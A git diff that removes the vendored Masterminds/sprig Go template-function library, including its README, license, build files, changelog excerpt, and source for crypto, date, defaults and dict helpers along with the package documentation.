whitespace separators. -- replace: Replace parts of a string: `replace " " "-" "Me First"` renders "Me-First" -- plural: Format plurals: `len "foo" | plural "one foo" "many foos"` renders "many foos" -- indent: Indent blocks of text in a way that is sensitive to "\n" characters. - -## Release 2.2.0 (2016-04-21) - -- Added a `genPrivateKey` function (Thanks @bacongobbler) - -## Release 2.1.0 (2016-03-30) - -- `default` now prints the default value when it does not receive a value down the pipeline. It is much safer now to do `{{.Foo | default "bar"}}`. -- Added accessors for "hermetic" functions. These return only functions that, when given the same input, produce the same output. - -## Release 2.0.0 (2016-03-29) - -Because we switched from `int` to `int64` as the return value for all integer math functions, the library's major version number has been incremented. - -- `min` complements `max` (formerly `biggest`) -- `empty` indicates that a value is the empty value for its type -- `tuple` creates a tuple inside of a template: `{{$t := tuple "a", "b" "c"}}` -- `dict` creates a dictionary inside of a template `{{$d := dict "key1" "val1" "key2" "val2"}}` -- Date formatters have been added for HTML dates (as used in `date` input fields) -- Integer math functions can convert from a number of types, including `string` (via `strconv.ParseInt`). - -## Release 1.2.0 (2016-02-01) - -- Added quote and squote -- Added b32enc and b32dec -- add now takes varargs -- biggest now takes varargs - -## Release 1.1.0 (2015-12-29) - -- Added #4: Added contains function. strings.Contains, but with the arguments - switched to simplify common pipelines. (thanks krancour) -- Added Travis-CI testing support - -## Release 1.0.0 (2015-12-23) - -- Initial release diff --git a/vendor/github.com/Masterminds/sprig/LICENSE.txt b/vendor/github.com/Masterminds/sprig/LICENSE.txt deleted file mode 100644 index 5c95accc2e..0000000000 --- a/vendor/github.com/Masterminds/sprig/LICENSE.txt +++ /dev/null @@ -1,20 +0,0 @@ -Sprig -Copyright (C) 2013 Masterminds - -Permission is hereby granted, free of charge, to any person obtaining a copy -of this software and associated documentation files (the "Software"), to deal -in the Software without restriction, including without limitation the rights -to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -copies of the Software, and to permit persons to whom the Software is -furnished to do so, subject to the following conditions: - -The above copyright notice and this permission notice shall be included in -all copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -THE SOFTWARE. diff --git a/vendor/github.com/Masterminds/sprig/Makefile b/vendor/github.com/Masterminds/sprig/Makefile deleted file mode 100644 index 63a93fdf79..0000000000 --- a/vendor/github.com/Masterminds/sprig/Makefile +++ /dev/null @@ -1,13 +0,0 @@ - -HAS_GLIDE := $(shell command -v glide;) - -.PHONY: test -test: - go test -v . - -.PHONY: setup -setup: -ifndef HAS_GLIDE - go get -u github.com/Masterminds/glide -endif - glide install diff --git a/vendor/github.com/Masterminds/sprig/README.md b/vendor/github.com/Masterminds/sprig/README.md deleted file mode 100644 index 25bf3d4f4b..0000000000 --- a/vendor/github.com/Masterminds/sprig/README.md +++ /dev/null @@ -1,81 +0,0 @@ -# Sprig: Template functions for Go templates -[![Stability: Sustained](https://masterminds.github.io/stability/sustained.svg)](https://masterminds.github.io/stability/sustained.html) -[![Build Status](https://travis-ci.org/Masterminds/sprig.svg?branch=master)](https://travis-ci.org/Masterminds/sprig) - -The Go language comes with a [built-in template -language](http://golang.org/pkg/text/template/), but not -very many template functions. This library provides a group of commonly -used template functions. - -It is inspired by the template functions found in -[Twig](http://twig.sensiolabs.org/documentation) and also in various -JavaScript libraries, such as [underscore.js](http://underscorejs.org/). - -## Usage - -Template developers can read the [Sprig function documentation](http://masterminds.github.io/sprig/) to -learn about the >100 template functions available. - -For Go developers wishing to include Sprig as a library in their programs, -API documentation is available [at GoDoc.org](http://godoc.org/github.com/Masterminds/sprig), but -read on for standard usage. - -### Load the Sprig library - -To load the Sprig `FuncMap`: - -```go - -import ( - "github.com/Masterminds/sprig" - "html/template" -) - -// This example illustrates that the FuncMap *must* be set before the -// templates themselves are loaded. -tpl := template.Must( - template.New("base").Funcs(sprig.FuncMap()).ParseGlob("*.html") -) - - -``` - -### Call the functions inside of templates - -By convention, all functions are lowercase. This seems to follow the Go -idiom for template functions (as opposed to template methods, which are -TitleCase). - - -Example: - -``` -{{ "hello!" | upper | repeat 5 }} -``` - -Produces: - -``` -HELLO!HELLO!HELLO!HELLO!HELLO! -``` - -## Principles: - -The following principles were used in deciding on which functions to add, and -determining how to implement them. - -- Template functions should be used to build layout. Therefore, the following - types of operations are within the domain of template functions: - - Formatting - - Layout - - Simple type conversions - - Utilities that assist in handling common formatting and layout needs (e.g. arithmetic) -- Template functions should not return errors unless there is no way to print - a sensible value. For example, converting a string to an integer should not - produce an error if conversion fails. Instead, it should display a default - value that can be displayed. -- Simple math is necessary for grid layouts, pagers, and so on. Complex math - (anything other than arithmetic) should be done outside of templates. -- Template functions only deal with the data passed into them. They never retrieve - data from a source. -- Finally, do not override core Go template functions. diff --git a/vendor/github.com/Masterminds/sprig/appveyor.yml b/vendor/github.com/Masterminds/sprig/appveyor.yml deleted file mode 100644 index d545a987a3..0000000000 --- a/vendor/github.com/Masterminds/sprig/appveyor.yml +++ /dev/null @@ -1,26 +0,0 @@ - -version: build-{build}.{branch} - -clone_folder: C:\gopath\src\github.com\Masterminds\sprig -shallow_clone: true - -environment: - GOPATH: C:\gopath - -platform: - - x64 - -install: - - go get -u github.com/Masterminds/glide - - set PATH=%GOPATH%\bin;%PATH% - - go version - - go env - -build_script: - - glide install - - go install ./... - -test_script: - - go test -v - -deploy: off diff --git a/vendor/github.com/Masterminds/sprig/crypto.go b/vendor/github.com/Masterminds/sprig/crypto.go deleted file mode 100644 index a91c4a7045..0000000000 --- a/vendor/github.com/Masterminds/sprig/crypto.go +++ /dev/null @@ -1,430 +0,0 @@ -package sprig - -import ( - "bytes" - "crypto/dsa" - "crypto/ecdsa" - "crypto/elliptic" - "crypto/hmac" - "crypto/rand" - "crypto/rsa" - "crypto/sha1" - "crypto/sha256" - "crypto/x509" - "crypto/x509/pkix" - "encoding/asn1" - "encoding/base64" - "encoding/binary" - "encoding/hex" - "encoding/pem" - "errors" - "fmt" - "math/big" - "net" - "time" - - "github.com/google/uuid" - "golang.org/x/crypto/scrypt" -) - -func sha256sum(input string) string { - hash := sha256.Sum256([]byte(input)) - return hex.EncodeToString(hash[:]) -} - -func sha1sum(input string) string { - hash := sha1.Sum([]byte(input)) - return hex.EncodeToString(hash[:]) -} - -// uuidv4 provides a safe and secure UUID v4 implementation -func uuidv4() string { - return fmt.Sprintf("%s", uuid.New()) -} - -var master_password_seed = "com.lyndir.masterpassword" - -var password_type_templates = map[string][][]byte{ - "maximum": {[]byte("anoxxxxxxxxxxxxxxxxx"), []byte("axxxxxxxxxxxxxxxxxno")}, - "long": {[]byte("CvcvnoCvcvCvcv"), []byte("CvcvCvcvnoCvcv"), []byte("CvcvCvcvCvcvno"), []byte("CvccnoCvcvCvcv"), []byte("CvccCvcvnoCvcv"), - []byte("CvccCvcvCvcvno"), []byte("CvcvnoCvccCvcv"), []byte("CvcvCvccnoCvcv"), []byte("CvcvCvccCvcvno"), []byte("CvcvnoCvcvCvcc"), - []byte("CvcvCvcvnoCvcc"), []byte("CvcvCvcvCvccno"), []byte("CvccnoCvccCvcv"), []byte("CvccCvccnoCvcv"), []byte("CvccCvccCvcvno"), - []byte("CvcvnoCvccCvcc"), []byte("CvcvCvccnoCvcc"), []byte("CvcvCvccCvccno"), []byte("CvccnoCvcvCvcc"), []byte("CvccCvcvnoCvcc"), - []byte("CvccCvcvCvccno")}, - "medium": {[]byte("CvcnoCvc"), []byte("CvcCvcno")}, - "short": {[]byte("Cvcn")}, - "basic": {[]byte("aaanaaan"), []byte("aannaaan"), []byte("aaannaaa")}, - "pin": {[]byte("nnnn")}, -} - -var template_characters = map[byte]string{ - 'V': "AEIOU", - 'C': "BCDFGHJKLMNPQRSTVWXYZ", - 'v': "aeiou", - 'c': "bcdfghjklmnpqrstvwxyz", - 'A': "AEIOUBCDFGHJKLMNPQRSTVWXYZ", - 'a': "AEIOUaeiouBCDFGHJKLMNPQRSTVWXYZbcdfghjklmnpqrstvwxyz", - 'n': "0123456789", - 'o': "@&%?,=[]_:-+*$#!'^~;()/.", - 'x': "AEIOUaeiouBCDFGHJKLMNPQRSTVWXYZbcdfghjklmnpqrstvwxyz0123456789!@#$%^&*()", -} - -func derivePassword(counter uint32, password_type, password, user, site string) string { - var templates = password_type_templates[password_type] - if templates == nil { - return fmt.Sprintf("cannot find password template %s", password_type) - } - - var buffer bytes.Buffer - buffer.WriteString(master_password_seed) - binary.Write(&buffer, binary.BigEndian, uint32(len(user))) - buffer.WriteString(user) - - salt := buffer.Bytes() - key, err := scrypt.Key([]byte(password), salt, 32768, 8, 2, 64) - if err != nil { - return fmt.Sprintf("failed to derive password: %s", err) - } - - buffer.Truncate(len(master_password_seed)) - binary.Write(&buffer, binary.BigEndian, uint32(len(site))) - buffer.WriteString(site) - binary.Write(&buffer, binary.BigEndian, counter) - - var hmacv = hmac.New(sha256.New, key) - hmacv.Write(buffer.Bytes()) - var seed = hmacv.Sum(nil) - var temp = templates[int(seed[0])%len(templates)] - - buffer.Truncate(0) - for i, element := range temp { - pass_chars := template_characters[element] - pass_char := pass_chars[int(seed[i+1])%len(pass_chars)] - buffer.WriteByte(pass_char) - } - - return buffer.String() -} - -func generatePrivateKey(typ string) string { - var priv interface{} - var err error - switch typ { - case "", "rsa": - // good enough for government work - priv, err = rsa.GenerateKey(rand.Reader, 4096) - case "dsa": - key := new(dsa.PrivateKey) - // again, good enough for government work - if err = dsa.GenerateParameters(&key.Parameters, rand.Reader, dsa.L2048N256); err != nil { - return fmt.Sprintf("failed to generate dsa params: %s", err) - } - err = dsa.GenerateKey(key, rand.Reader) - priv = key - case "ecdsa": - // again, good enough for government work - priv, err = ecdsa.GenerateKey(elliptic.P256(), rand.Reader) - default: - return "Unknown type " + typ - } - if err != nil { - return fmt.Sprintf("failed to generate private key: %s", err) - } - - return string(pem.EncodeToMemory(pemBlockForKey(priv))) -} - -type DSAKeyFormat struct { - Version int - P, Q, G, Y, X *big.Int -} - -func pemBlockForKey(priv interface{}) *pem.Block { - switch k := priv.(type) { - case *rsa.PrivateKey: - return &pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(k)} - case *dsa.PrivateKey: - val := DSAKeyFormat{ - P: k.P, Q: k.Q, G: k.G, - Y: k.Y, X: k.X, - } - bytes, _ := asn1.Marshal(val) - return &pem.Block{Type: "DSA PRIVATE KEY", Bytes: bytes} - case *ecdsa.PrivateKey: - b, _ := x509.MarshalECPrivateKey(k) - return &pem.Block{Type: "EC PRIVATE KEY", Bytes: b} - default: - return nil - } -} - -type certificate struct { - Cert string - Key string -} - -func buildCustomCertificate(b64cert string, b64key string) (certificate, error) { - crt := certificate{} - - cert, err := base64.StdEncoding.DecodeString(b64cert) - if err != nil { - return crt, errors.New("unable to decode base64 certificate") - } - - key, err := base64.StdEncoding.DecodeString(b64key) - if err != nil { - return crt, errors.New("unable to decode base64 private key") - } - - decodedCert, _ := pem.Decode(cert) - if decodedCert == nil { - return crt, errors.New("unable to decode certificate") - } - _, err = x509.ParseCertificate(decodedCert.Bytes) - if err != nil { - return crt, fmt.Errorf( - "error parsing certificate: decodedCert.Bytes: %s", - err, - ) - } - - decodedKey, _ := pem.Decode(key) - if decodedKey == nil { - return crt, errors.New("unable to decode key") - } - _, err = x509.ParsePKCS1PrivateKey(decodedKey.Bytes) - if err != nil { - return crt, fmt.Errorf( - "error parsing prive key: decodedKey.Bytes: %s", - err, - ) - } - - crt.Cert = string(cert) - crt.Key = string(key) - - return crt, nil -} - -func generateCertificateAuthority( - cn string, - daysValid int, -) (certificate, error) { - ca := certificate{} - - template, err := getBaseCertTemplate(cn, nil, nil, daysValid) - if err != nil { - return ca, err - } - // Override KeyUsage and IsCA - template.KeyUsage = x509.KeyUsageKeyEncipherment | - x509.KeyUsageDigitalSignature | - x509.KeyUsageCertSign - template.IsCA = true - - priv, err := rsa.GenerateKey(rand.Reader, 2048) - if err != nil { - return ca, fmt.Errorf("error generating rsa key: %s", err) - } - - ca.Cert, ca.Key, err = getCertAndKey(template, priv, template, priv) - if err != nil { - return ca, err - } - - return ca, nil -} - -func generateSelfSignedCertificate( - cn string, - ips []interface{}, - alternateDNS []interface{}, - daysValid int, -) (certificate, error) { - cert := certificate{} - - template, err := getBaseCertTemplate(cn, ips, alternateDNS, daysValid) - if err != nil { - return cert, err - } - - priv, err := rsa.GenerateKey(rand.Reader, 2048) - if err != nil { - return cert, fmt.Errorf("error generating rsa key: %s", err) - } - - cert.Cert, cert.Key, err = getCertAndKey(template, priv, template, priv) - if err != nil { - return cert, err - } - - return cert, nil -} - -func generateSignedCertificate( - cn string, - ips []interface{}, - alternateDNS []interface{}, - daysValid int, - ca certificate, -) (certificate, error) { - cert := certificate{} - - decodedSignerCert, _ := pem.Decode([]byte(ca.Cert)) - if decodedSignerCert == nil { - return cert, errors.New("unable to decode certificate") - } - signerCert, err := x509.ParseCertificate(decodedSignerCert.Bytes) - if err != nil { - return cert, fmt.Errorf( - "error parsing certificate: decodedSignerCert.Bytes: %s", - err, - ) - } - decodedSignerKey, _ := pem.Decode([]byte(ca.Key)) - if decodedSignerKey == nil { - return cert, errors.New("unable to decode key") - } - signerKey, err := x509.ParsePKCS1PrivateKey(decodedSignerKey.Bytes) - if err != nil { - return cert, fmt.Errorf( - "error parsing prive key: decodedSignerKey.Bytes: %s", - err, - ) - } - - template, err := getBaseCertTemplate(cn, ips, alternateDNS, daysValid) - if err != nil { - return cert, err - } - - priv, err := rsa.GenerateKey(rand.Reader, 2048) - if err != nil { - return cert, fmt.Errorf("error generating rsa key: %s", err) - } - - cert.Cert, cert.Key, err = getCertAndKey( - template, - priv, - signerCert, - signerKey, - ) - if err != nil { - return cert, err - } - - return cert, nil -} - -func getCertAndKey( - template *x509.Certificate, - signeeKey *rsa.PrivateKey, - parent *x509.Certificate, - signingKey *rsa.PrivateKey, -) (string, string, error) { - derBytes, err := x509.CreateCertificate( - rand.Reader, - template, - parent, - &signeeKey.PublicKey, - signingKey, - ) - if err != nil { - return "", "", fmt.Errorf("error creating certificate: %s", err) - } - - certBuffer := bytes.Buffer{} - if err := pem.Encode( - &certBuffer, - &pem.Block{Type: "CERTIFICATE", Bytes: derBytes}, - ); err != nil { - return "", "", fmt.Errorf("error pem-encoding certificate: %s", err) - } - - keyBuffer := bytes.Buffer{} - if err := pem.Encode( - &keyBuffer, - &pem.Block{ - Type: "RSA PRIVATE KEY", - Bytes: x509.MarshalPKCS1PrivateKey(signeeKey), - }, - ); err != nil { - return "", "", fmt.Errorf("error pem-encoding key: %s", err) - } - - return string(certBuffer.Bytes()), string(keyBuffer.Bytes()), nil -} - -func getBaseCertTemplate( - cn string, - ips []interface{}, - alternateDNS []interface{}, - daysValid int, -) (*x509.Certificate, error) { - ipAddresses, err := getNetIPs(ips) - if err != nil { - return nil, err - } - dnsNames, err := getAlternateDNSStrs(alternateDNS) - if err != nil { - return nil, err - } - return &x509.Certificate{ - SerialNumber: big.NewInt(1), - Subject: pkix.Name{ - CommonName: cn, - }, - IPAddresses: ipAddresses, - DNSNames: dnsNames, - NotBefore: time.Now(), - NotAfter: time.Now().Add(time.Hour * 24 * time.Duration(daysValid)), - KeyUsage: x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature, - ExtKeyUsage: []x509.ExtKeyUsage{ - x509.ExtKeyUsageServerAuth, - x509.ExtKeyUsageClientAuth, - }, - BasicConstraintsValid: true, - }, nil -} - -func getNetIPs(ips []interface{}) ([]net.IP, error) { - if ips == nil { - return []net.IP{}, nil - } - var ipStr string - var ok bool - var netIP net.IP - netIPs := make([]net.IP, len(ips)) - for i, ip := range ips { - ipStr, ok = ip.(string) - if !ok { - return nil, fmt.Errorf("error parsing ip: %v is not a string", ip) - } - netIP = net.ParseIP(ipStr) - if netIP == nil { - return nil, fmt.Errorf("error parsing ip: %s", ipStr) - } - netIPs[i] = netIP - } - return netIPs, nil -} - -func getAlternateDNSStrs(alternateDNS []interface{}) ([]string, error) { - if alternateDNS == nil { - return []string{}, nil - } - var dnsStr string - var ok bool - alternateDNSStrs := make([]string, len(alternateDNS)) - for i, dns := range alternateDNS { - dnsStr, ok = dns.(string) - if !ok { - return nil, fmt.Errorf( - "error processing alternate dns name: %v is not a string", - dns, - ) - } - alternateDNSStrs[i] = dnsStr - } - return alternateDNSStrs, nil -} diff --git a/vendor/github.com/Masterminds/sprig/date.go b/vendor/github.com/Masterminds/sprig/date.go deleted file mode 100644 index 1c2c3653c8..0000000000 --- a/vendor/github.com/Masterminds/sprig/date.go +++ /dev/null @@ -1,76 +0,0 @@ -package sprig - -import ( - "time" -) - -// Given a format and a date, format the date string. -// -// Date can be a `time.Time` or an `int, int32, int64`. -// In the later case, it is treated as seconds since UNIX -// epoch. -func date(fmt string, date interface{}) string { - return dateInZone(fmt, date, "Local") -} - -func htmlDate(date interface{}) string { - return dateInZone("2006-01-02", date, "Local") -} - -func htmlDateInZone(date interface{}, zone string) string { - return dateInZone("2006-01-02", date, zone) -} - -func dateInZone(fmt string, date interface{}, zone string) string { - var t time.Time - switch date := date.(type) { - default: - t = time.Now() - case time.Time: - t = date - case int64: - t = time.Unix(date, 0) - case int: - t = time.Unix(int64(date), 0) - case int32: - t = time.Unix(int64(date), 0) - } - - loc, err := time.LoadLocation(zone) - if err != nil { - loc, _ = time.LoadLocation("UTC") - } - - return t.In(loc).Format(fmt) -} - -func dateModify(fmt string, date time.Time) time.Time { - d, err := time.ParseDuration(fmt) - if err != nil { - return date - } - return date.Add(d) -} - -func dateAgo(date interface{}) string { - var t time.Time - - switch date := date.(type) { - default: - t = time.Now() - case time.Time: - t = date - case int64: - t = time.Unix(date, 0) - case int: - t = time.Unix(int64(date), 0) - } - // Drop resolution to seconds - duration := time.Since(t).Round(time.Second) - return duration.String() -} - -func toDate(fmt, str string) time.Time { - t, _ := time.ParseInLocation(fmt, str, time.Local) - return t -} diff --git a/vendor/github.com/Masterminds/sprig/defaults.go b/vendor/github.com/Masterminds/sprig/defaults.go deleted file mode 100644 index f0161317dc..0000000000 --- a/vendor/github.com/Masterminds/sprig/defaults.go +++ /dev/null @@ -1,84 +0,0 @@ -package sprig - -import ( - "encoding/json" - "reflect" -) - -// dfault checks whether `given` is set, and returns default if not set. -// -// This returns `d` if `given` appears not to be set, and `given` otherwise. -// -// For numeric types 0 is unset. -// For strings, maps, arrays, and slices, len() = 0 is considered unset. -// For bool, false is unset. -// Structs are never considered unset. -// -// For everything else, including pointers, a nil value is unset. -func dfault(d interface{}, given ...interface{}) interface{} { - - if empty(given) || empty(given[0]) { - return d - } - return given[0] -} - -// empty returns true if the given value has the zero value for its type. -func empty(given interface{}) bool { - g := reflect.ValueOf(given) - if !g.IsValid() { - return true - } - - // Basically adapted from text/template.isTrue - switch g.Kind() { - default: - return g.IsNil() - case reflect.Array, reflect.Slice, reflect.Map, reflect.String: - return g.Len() == 0 - case reflect.Bool: - return g.Bool() == false - case reflect.Complex64, reflect.Complex128: - return g.Complex() == 0 - case reflect.Int, reflect.Int8, reflect.Int16, reflect.Int32, reflect.Int64: - return g.Int() == 0 - case reflect.Uint, reflect.Uint8, reflect.Uint16, reflect.Uint32, reflect.Uint64, reflect.Uintptr: - return g.Uint() == 0 - case reflect.Float32, reflect.Float64: - return g.Float() == 0 - case reflect.Struct: - return false - } - return true -} - -// coalesce returns the first non-empty value. -func coalesce(v ...interface{}) interface{} { - for _, val := range v { - if !empty(val) { - return val - } - } - return nil -} - -// toJson encodes an item into a JSON string -func toJson(v interface{}) string { - output, _ := json.Marshal(v) - return string(output) -} - -// toPrettyJson encodes an item into a pretty (indented) JSON string -func toPrettyJson(v interface{}) string { - output, _ := json.MarshalIndent(v, "", " ") - return string(output) -} - -// ternary returns the first value if the last value is true, otherwise returns the second value. -func ternary(vt interface{}, vf interface{}, v bool) interface{} { - if v { - return vt - } - - return vf -} diff --git a/vendor/github.com/Masterminds/sprig/dict.go b/vendor/github.com/Masterminds/sprig/dict.go deleted file mode 100644 index 59076c0182..0000000000 --- a/vendor/github.com/Masterminds/sprig/dict.go +++ /dev/null @@ -1,88 +0,0 @@ -package sprig - -import "github.com/imdario/mergo" - -func set(d map[string]interface{}, key string, value interface{}) map[string]interface{} { - d[key] = value - return d -} - -func unset(d map[string]interface{}, key string) map[string]interface{} { - delete(d, key) - return d -} - -func hasKey(d map[string]interface{}, key string) bool { - _, ok := d[key] - return ok -} - -func pluck(key string, d ...map[string]interface{}) []interface{} { - res := []interface{}{} - for _, dict := range d { - if val, ok := dict[key]; ok { - res = append(res, val) - } - } - return res -} - -func keys(dicts ...map[string]interface{}) []string { - k := []string{} - for _, dict := range dicts { - for key := range dict { - k = append(k, key) - } - } - return k -} - -func pick(dict map[string]interface{}, keys ...string) map[string]interface{} { - res := map[string]interface{}{} - for _, k := range keys { - if v, ok := dict[k]; ok { - res[k] = v - } - } - return res -} - -func omit(dict map[string]interface{}, keys ...string) map[string]interface{} { - res := map[string]interface{}{} - - omit := make(map[string]bool, len(keys)) - for _, k := range keys { - omit[k] = true - } - - for k, v := range dict { - if _, ok := omit[k]; !ok { - res[k] = v - } - } - return res -} - -func dict(v ...interface{}) map[string]interface{} { - dict := map[string]interface{}{} - lenv := len(v) - for i := 0; i < lenv; i += 2 { - key := strval(v[i]) - if i+1 >= lenv { - dict[key] = "" - continue - } - dict[key] = v[i+1] - } - return dict -} - -func merge(dst map[string]interface{}, srcs ...map[string]interface{}) interface{} { - for _, src := range srcs { - if err := mergo.Merge(&dst, src); err != nil { - // Swallow errors inside of a template. - return "" - } - } - return dst -} diff --git a/vendor/github.com/Masterminds/sprig/doc.go b/vendor/github.com/Masterminds/sprig/doc.go deleted file mode 100644 index 92ea318c7e..0000000000 --- a/vendor/github.com/Masterminds/sprig/doc.go +++ /dev/null @@ -1,233 +0,0 @@ -/* -Sprig: Template functions for Go. - -This package contains a number of utility functions for working with data -inside of Go `html/template` and `text/template` files. - -To add these functions, use the `template.Funcs()` method: - - t := templates.New("foo").Funcs(sprig.FuncMap()) - -Note that you should add the function map before you parse any template files. - - In several cases, Sprig reverses the order of arguments from the way they - appear in the standard library. This is to make it easier to pipe - arguments into functions. - -Date Functions - - - date FORMAT TIME: Format a date, where a date is an integer type or a time.Time type, and - format is a time.Format formatting string. - - dateModify: Given a date, modify it with a duration: `date_modify "-1.5h" now`. If the duration doesn't - parse, it returns the time unaltered. See `time.ParseDuration` for info on duration strings. - - now: Current time.Time, for feeding into date-related functions. - - htmlDate TIME: Format a date for use in the value field of an HTML "date" form element. - - dateInZone FORMAT TIME TZ: Like date, but takes three arguments: format, timestamp, - timezone. - - htmlDateInZone TIME TZ: Like htmlDate, but takes two arguments: timestamp, - timezone. - -String Functions - - - abbrev: Truncate a string with ellipses. `abbrev 5 "hello world"` yields "he..." - - abbrevboth: Abbreviate from both sides, yielding "...lo wo..." - - trunc: Truncate a string (no suffix). `trunc 5 "Hello World"` yields "hello". - - trim: strings.TrimSpace - - trimAll: strings.Trim, but with the argument order reversed `trimAll "$" "$5.00"` or `"$5.00 | trimAll "$"` - - trimSuffix: strings.TrimSuffix, but with the argument order reversed: `trimSuffix "-" "ends-with-"` - - trimPrefix: strings.TrimPrefix, but with the argument order reversed `trimPrefix "$" "$5"` - - upper: strings.ToUpper - - lower: strings.ToLower - - nospace: Remove all space characters from a string. `nospace "h e l l o"` becomes "hello" - - title: strings.Title - - untitle: Remove title casing - - repeat: strings.Repeat, but with the arguments switched: `repeat count str`. (This simplifies common pipelines) - - substr: Given string, start, and length, return a substr. - - initials: Given a multi-word string, return the initials. `initials "Matt Butcher"` returns "MB" - - randAlphaNum: Given a length, generate a random alphanumeric sequence - - randAlpha: Given a length, generate an alphabetic string - - randAscii: Given a length, generate a random ASCII string (symbols included) - - randNumeric: Given a length, generate a string of digits. - - swapcase: SwapCase swaps the case of a string using a word based algorithm. see https://godoc.org/github.com/Masterminds/goutils#SwapCase - - shuffle: Shuffle randomizes runes in a string and returns the result. It uses default random source in `math/rand` - - snakecase: convert all upper case characters in a string to underscore format. - - camelcase: convert all lower case characters behind underscores to upper case character - - wrap: Force a line wrap at the given width. `wrap 80 "imagine a longer string"` - - wrapWith: Wrap a line at the given length, but using 'sep' instead of a newline. `wrapWith 50, "
", $html` - - contains: strings.Contains, but with the arguments switched: `contains substr str`. (This simplifies common pipelines) - - hasPrefix: strings.hasPrefix, but with the arguments switched - - hasSuffix: strings.hasSuffix, but with the arguments switched - - quote: Wrap string(s) in double quotation marks, escape the contents by adding '\' before '"'. - - squote: Wrap string(s) in double quotation marks, does not escape content. - - cat: Concatenate strings, separating them by spaces. `cat $a $b $c`. - - indent: Indent a string using space characters. `indent 4 "foo\nbar"` produces " foo\n bar" - - nindent: Indent a string using space characters and prepend a new line. `indent 4 "foo\nbar"` produces "\n foo\n bar" - - replace: Replace an old with a new in a string: `$name | replace " " "-"` - - plural: Choose singular or plural based on length: `len $fish | plural "one anchovy" "many anchovies"` - - sha256sum: Generate a hex encoded sha256 hash of the input - - toString: Convert something to a string - -String Slice Functions: - - - join: strings.Join, but as `join SEP SLICE` - - split: strings.Split, but as `split SEP STRING`. The results are returned - as a map with the indexes set to _N, where N is an integer starting from 0. - Use it like this: `{{$v := "foo/bar/baz" | split "/"}}{{$v._0}}` (Prints `foo`) - - splitList: strings.Split, but as `split SEP STRING`. The results are returned - as an array. - - toStrings: convert a list to a list of strings. 'list 1 2 3 | toStrings' produces '["1" "2" "3"]' - - sortAlpha: sort a list lexicographically. - -Integer Slice Functions: - - - until: Given an integer, returns a slice of counting integers from 0 to one - less than the given integer: `range $i, $e := until 5` - - untilStep: Given start, stop, and step, return an integer slice starting at - 'start', stopping at `stop`, and incrementing by 'step. This is the same - as Python's long-form of 'range'. - -Conversions: - - - atoi: Convert a string to an integer. 0 if the integer could not be parsed. - - int64: Convert a string or another numeric type to an int64. - - int: Convert a string or another numeric type to an int. - - float64: Convert a string or another numeric type to a float64. - -Defaults: - - - default: Give a default value. Used like this: trim " "| default "empty". - Since trim produces an empty string, the default value is returned. For - things with a length (strings, slices, maps), len(0) will trigger the default. - For numbers, the value 0 will trigger the default. For booleans, false will - trigger the default. For structs, the default is never returned (there is - no clear empty condition). For everything else, nil value triggers a default. - - empty: Return true if the given value is the zero value for its type. - Caveats: structs are always non-empty. This should match the behavior of - {{if pipeline}}, but can be used inside of a pipeline. - - coalesce: Given a list of items, return the first non-empty one. - This follows the same rules as 'empty'. '{{ coalesce .someVal 0 "hello" }}` - will return `.someVal` if set, or else return "hello". The 0 is skipped - because it is an empty value. - - compact: Return a copy of a list with all of the empty values removed. - 'list 0 1 2 "" | compact' will return '[1 2]' - - ternary: Given a value,'true | ternary "b" "c"' will return "b". - 'false | ternary "b" "c"' will return '"c"'. Similar to the JavaScript ternary - operator. - -OS: - - env: Resolve an environment variable - - expandenv: Expand a string through the environment - -File Paths: - - base: Return the last element of a path. https://golang.org/pkg/path#Base - - dir: Remove the last element of a path. https://golang.org/pkg/path#Dir - - clean: Clean a path to the shortest equivalent name. (e.g. remove "foo/.." - from "foo/../bar.html") https://golang.org/pkg/path#Clean - - ext: https://golang.org/pkg/path#Ext - - isAbs: https://golang.org/pkg/path#IsAbs - -Encoding: - - b64enc: Base 64 encode a string. - - b64dec: Base 64 decode a string. - -Reflection: - - - typeOf: Takes an interface and returns a string representation of the type. - For pointers, this will return a type prefixed with an asterisk(`*`). So - a pointer to type `Foo` will be `*Foo`. - - typeIs: Compares an interface with a string name, and returns true if they match. - Note that a pointer will not match a reference. For example `*Foo` will not - match `Foo`. - - typeIsLike: Compares an interface with a string name and returns true if - the interface is that `name` or that `*name`. In other words, if the given - value matches the given type or is a pointer to the given type, this returns - true. - - kindOf: Takes an interface and returns a string representation of its kind. - - kindIs: Returns true if the given string matches the kind of the given interface. - - Note: None of these can test whether or not something implements a given - interface, since doing so would require compiling the interface in ahead of - time. - -Data Structures: - - - tuple: Takes an arbitrary list of items and returns a slice of items. Its - tuple-ish properties are mainly gained through the template idiom, and not - through an API provided here. WARNING: The implementation of tuple will - change in the future. - - list: An arbitrary ordered list of items. (This is prefered over tuple.) - - dict: Takes a list of name/values and returns a map[string]interface{}. - The first parameter is converted to a string and stored as a key, the - second parameter is treated as the value. And so on, with odds as keys and - evens as values. If the function call ends with an odd, the last key will - be assigned the empty string. Non-string keys are converted to strings as - follows: []byte are converted, fmt.Stringers will have String() called. - errors will have Error() called. All others will be passed through - fmt.Sprintf("%v"). - -Lists Functions: - -These are used to manipulate lists: '{{ list 1 2 3 | reverse | first }}' - - - first: Get the first item in a 'list'. 'list 1 2 3 | first' prints '1' - - last: Get the last item in a 'list': 'list 1 2 3 | last ' prints '3' - - rest: Get all but the first item in a list: 'list 1 2 3 | rest' returns '[2 3]' - - initial: Get all but the last item in a list: 'list 1 2 3 | initial' returns '[1 2]' - - append: Add an item to the end of a list: 'append $list 4' adds '4' to the end of '$list' - - prepend: Add an item to the beginning of a list: 'prepend $list 4' puts 4 at the beginning of the list. - - reverse: Reverse the items in a list. - - uniq: Remove duplicates from a list. - - without: Return a list with the given values removed: 'without (list 1 2 3) 1' would return '[2 3]' - - has: Return 'true' if the item is found in the list: 'has "foo" $list' will return 'true' if the list contains "foo" - 